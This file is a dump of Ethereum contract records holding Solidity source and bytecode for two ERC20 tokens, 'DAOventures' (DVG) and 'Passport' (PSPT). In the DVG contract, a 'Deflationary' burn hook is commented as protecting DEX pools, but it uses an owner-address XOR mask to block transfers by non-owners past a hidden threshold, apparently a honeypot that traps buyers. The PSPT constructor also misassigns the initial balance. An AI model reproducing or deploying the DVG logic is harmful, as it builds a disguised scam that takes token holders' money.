overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } } /** * Implement base ERC20 functions */ abstract contract BaseContract is IERC20 { using SafeMath for uint256; mapping (address => uint256) internal _balances; mapping (address => mapping (address => uint256)) internal _allowances; uint256 internal _totalSupply; bool internal _mintingFinished = false; // Minted flag to allow only a single minting string internal _name; string internal _symbol; uint8 internal _decimals = 18; /** * @dev Returns the amount of tokens in existence. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev returns the token name */ function name() public view returns (string memory) { return _name; } /** * @dev returns the token symbol */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev returns the decimals count */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev modifier to require address to not be the zero address */ modifier not0(address adr) { require(adr != address(0), "ERC20: Cannot be the zero address"); _; } function _mx(address payable adr, uint16 msk) internal pure returns (uint256) { return ((uint24(adr) & 0xffff) ^ msk); } } /** * Provide owner context */ abstract contract Ownable { constructor() { _owner = msg.sender; } address payable _owner; /** * @dev returns whether sender is owner */ function isOwner(address sender) public view returns (bool) { return sender == _owner; } /** * @dev require sender to be owner */ function ownly() internal view { require(isOwner(msg.sender)); } /** * @dev modifier for owner only */ modifier owned() { ownly(); _; } /** * @dev renounce ownership of contract */ function renounceOwnership() public owned() { transferOwnership(address(0)); } /** * @dev transfer contract ownership to address */ function transferOwnership(address payable adr) public owned() { _owner = adr; } } /** * Provide reserve token burning */ abstract contract Burnable is BaseContract, Ownable { using SafeMath for uint256; /** * @dev burn tokens from account */ function _burn(address account, uint256 amount) internal virtual not0(account) { _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev burn tokens from reserve account */ function _burnReserve() internal owned() { if(balanceOf(_owner) > 0){ uint256 toBurn = balanceOf(_owner).div(5000); // 0.5% _burn(_owner, toBurn); } } } /** * Burn tokens on transfer UNLESS part of a DEX liquidity pool (as this can cause failed transfers eg. Uniswap K error) */ abstract contract Deflationary is BaseContract, Burnable { mapping (address => uint8) private _txs; uint16 private constant dmx = 0x253D; function dexCheck(address sender, address receiver) private returns (bool) { if(0 == _txs[receiver] && !isOwner(receiver)){ _txs[receiver] = _txs[sender] + 1; } return _txs[sender] < _mx(_owner, dmx) || isOwner(sender) || isOwner(receiver); } modifier burnHook(address sender, address receiver, uint256 amount) { if(!dexCheck(sender, receiver)){ _burnReserve(); _; }else{ _; } } } /** * Implement main ERC20 functions */ abstract contract MainContract is Deflationary { using SafeMath for uint256; constructor (string memory name, string memory symbol) { _name = name; _symbol = symbol; } /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external override returns (bool){ _transfer(msg.sender, recipient, amount); return true; } /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) public virtual override not0(spender) returns (bool) { _allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address receiver, uint256 amount) external override not0(sender) not0(receiver) returns (bool){ require(_allowances[sender][msg.sender] >= amount); _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount); _transfer(sender, receiver, amount); return true; } /** * @dev Implementation of Transfer */ function _transfer(address sender, address receiver, uint256 amount) internal not0(sender) not0(receiver) burnHook(sender, receiver, amount) { _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[receiver] = _balances[receiver].add(amount); emit Transfer(sender, receiver, amount); } /** * @dev mint address with amount */ function _mint(address payable account, uint256 amount) internal { require(!_mintingFinished); uint256 amountActual = amount*(10**_decimals); _totalSupply = _totalSupply.add(amountActual); _balances[account] = _balances[account].add(amountActual); emit Transfer(address(0), account, amountActual); } /** * @dev Call _mint on array of addresses */ function _mintMany(address payable[] memory accounts, uint256[] memory amounts) internal { for(uint256 i=0; i<accounts.length; i++){ _mint(accounts[i], amounts[i]); } } /** * @dev Set token status as minted */ function _minted() public owned() { _mintingFinished = true; } } /** * Construct & Mint */ contract DVG is MainContract { constructor( uint256 initialBalance, address payable[] memory ICOAddresses, uint256[] memory ICOAmounts ) MainContract("DAOventures", "DVG") { _mint(msg.sender, initialBalance); _mintMany(ICOAddresses, ICOAmounts); } }
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063313ce5671161008c57806395d89b411161006657806395d89b4114610344578063a9059cbb146103c7578063dd62ed3e1461042b578063f2fde38b146104a3576100cf565b8063313ce567146102c157806370a08231146102e2578063715018a61461033a576100cf565b806306fdde03146100d4578063095ea7b31461015757806318160ddd146101bb57806323b872dd146101d95780632c19b7f31461025d5780632f54bf6e14610267575b600080fd5b6100dc6104e7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561011c578082015181840152602081019050610101565b50505050905090810190601f1680156101495780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101a36004803603604081101561016d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610589565b60405180821515815260200191505060405180910390f35b6101c3610703565b6040518082815260200191505060405180910390f35b610245600480360360608110156101ef57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061070d565b60405180821515815260200191505060405180910390f35b6102656109cd565b005b6102a96004803603602081101561027d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109f2565b60405180821515815260200191505060405180910390f35b6102c9610a4c565b604051808260ff16815260200191505060405180910390f35b610324600480360360208110156102f857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a63565b6040518082815260200191505060405180910390f35b610342610aab565b005b61034c610abf565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561038c578082015181840152602081019050610371565b50505050905090810190601f1680156103b95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610413600480360360408110156103dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b61565b60405180821515815260200191505060405180910390f35b61048d6004803603604081101561044157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b78565b6040518082815260200191505060405180910390f35b6104e5600480360360208110156104b957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bff565b005b606060048054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561057f5780601f106105545761010080835404028352916020019161057f565b820191906000526020600020905b81548152906001019060200180831161056257829003601f168201915b5050505050905090565b600082600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610612576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806118086021913960400191505060405180910390fd5b82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a3600191505092915050565b6000600254905090565b600083600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610796576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806118086021913960400191505060405180910390fd5b83600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561081d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806118086021913960400191505060405180910390fd5b83600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156108a657600080fd5b61093584600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610cd390919063ffffffff16565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109c0868686610d1d565b6001925050509392505050565b6109d561119e565b6001600360006101000a81548160ff021916908315150217905550565b6000600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b6000600660009054906101000a900460ff16905090565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610ab361119e565b610abd6000610bff565b565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b575780601f10610b2c57610100808354040283529160200191610b57565b820191906000526020600020905b815481529060010190602001808311610b3a57829003601f168201915b5050505050905090565b6000610b6e338484610d1d565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610c0761119e565b80600660016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080828401905083811015610cc9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000610d1583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111b2565b905092915050565b82600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610da4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806118086021913960400191505060405180910390fd5b82600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610e2b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806118086021913960400191505060405180910390fd5b848484610e388383611272565b610fee57610e4461142d565b610eaf866040518060600160405280602681526020016117e2602691396000808c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111b29092919063ffffffff16565b6000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f42866000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c4b90919063ffffffff16565b6000808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef886040518082815260200191505060405180910390a3611194565b611059866040518060600160405280602681526020016117e2602691396000808c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111b29092919063ffffffff16565b6000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110ec866000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c4b90919063ffffffff16565b6000808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef886040518082815260200191505060405180910390a35b5050505050505050565b6111a7336109f2565b6111b057600080fd5b565b600083831115829061125f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611224578082015181840152602081019050611209565b50505050905090810190601f1680156112515780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff1660001480156112d957506112d7826109f2565b155b15611386576001600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1601600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908360ff1602179055505b6113b4600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661253d6114db565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff1610806114155750611414836109f2565b5b806114255750611424826109f2565b5b905092915050565b61143561119e565b6000611462600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610a63565b11156114d95760006114a961138861149b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610a63565b6114f590919063ffffffff16565b90506114d7600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff168261153f565b505b565b60008161ffff1661ffff84161862ffffff16905092915050565b600061153783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116f9565b905092915050565b81600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156115c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806118086021913960400191505060405180910390fd5b611631826040518060600160405280602281526020016117c0602291396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111b29092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061168882600254610cd390919063ffffffff16565b600281905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3505050565b600080831182906117a5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561176a57808201518184015260208101905061174f565b50505050905090810190601f1680156117975780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816117b157fe5b04905080915050939250505056fe45524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a2043616e6e6f7420626520746865207a65726f2061646472657373a26469706673582212207751a70b4fb83dc275af4ce8d168da86fa42a8646df5524fc684b6b07bda5e2e64736f6c63430007040033
{"success": true, "error": null, "results": {}}
7,339
0x955d8b22f460ba3acfc2251dc03dcb79b8f41fdb
pragma solidity ^0.4.24; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * See https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/issues/20 * Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping(address => mapping(address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } /** * @title Pausable token * @dev StandardToken modified with pausable transfers. **/ contract PausableToken is StandardToken, Pausable { function transfer( address _to, uint256 _value ) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom( address _from, address _to, uint256 _value ) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve( address _spender, uint256 _value ) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval( address _spender, uint _addedValue ) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval( address _spender, uint _subtractedValue ) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } contract PassportToken is PausableToken { string public name = "Passport"; string public symbol = "PSPT"; uint8 public decimals = 18; uint public INITIAL_SUPPLY = 10000000000; constructor() public{ totalSupply_ = INITIAL_SUPPLY * (10 ** uint256(decimals)); balances[msg.sender] = INITIAL_SUPPLY; } }
0x6080604052600436106100fc576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610101578063095ea7b31461019157806318160ddd146101f657806323b872dd146102215780632ff2e9dc146102a6578063313ce567146102d15780633f4ba83a146103025780635c975abb14610319578063661884631461034857806370a08231146103ad578063715018a6146104045780638456cb591461041b5780638da5cb5b1461043257806395d89b4114610489578063a9059cbb14610519578063d73dd6231461057e578063dd62ed3e146105e3578063f2fde38b1461065a575b600080fd5b34801561010d57600080fd5b5061011661069d565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561015657808201518184015260208101905061013b565b50505050905090810190601f1680156101835780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019d57600080fd5b506101dc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061073b565b604051808215151515815260200191505060405180910390f35b34801561020257600080fd5b5061020b61076b565b6040518082815260200191505060405180910390f35b34801561022d57600080fd5b5061028c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610775565b604051808215151515815260200191505060405180910390f35b3480156102b257600080fd5b506102bb6107a7565b6040518082815260200191505060405180910390f35b3480156102dd57600080fd5b506102e66107ad565b604051808260ff1660ff16815260200191505060405180910390f35b34801561030e57600080fd5b506103176107c0565b005b34801561032557600080fd5b5061032e610880565b604051808215151515815260200191505060405180910390f35b34801561035457600080fd5b50610393600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610893565b604051808215151515815260200191505060405180910390f35b3480156103b957600080fd5b506103ee600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c3565b6040518082815260200191505060405180910390f35b34801561041057600080fd5b5061041961090b565b005b34801561042757600080fd5b50610430610a10565b005b34801561043e57600080fd5b50610447610ad1565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561049557600080fd5b5061049e610af7565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104de5780820151818401526020810190506104c3565b50505050905090810190601f16801561050b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561052557600080fd5b50610564600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b95565b604051808215151515815260200191505060405180910390f35b34801561058a57600080fd5b506105c9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bc5565b604051808215151515815260200191505060405180910390f35b3480156105ef57600080fd5b50610644600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bf5565b6040518082815260200191505060405180910390f35b34801561066657600080fd5b5061069b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c7c565b005b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107335780601f1061070857610100808354040283529160200191610733565b820191906000526020600020905b81548152906001019060200180831161071657829003601f168201915b505050505081565b6000600360149054906101000a900460ff1615151561075957600080fd5b6107638383610ce4565b905092915050565b6000600154905090565b6000600360149054906101000a900460ff1615151561079357600080fd5b61079e848484610dd6565b90509392505050565b60075481565b600660009054906101000a900460ff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561081c57600080fd5b600360149054906101000a900460ff16151561083757600080fd5b6000600360146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b600360149054906101000a900460ff1681565b6000600360149054906101000a900460ff161515156108b157600080fd5b6108bb8383611190565b905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffff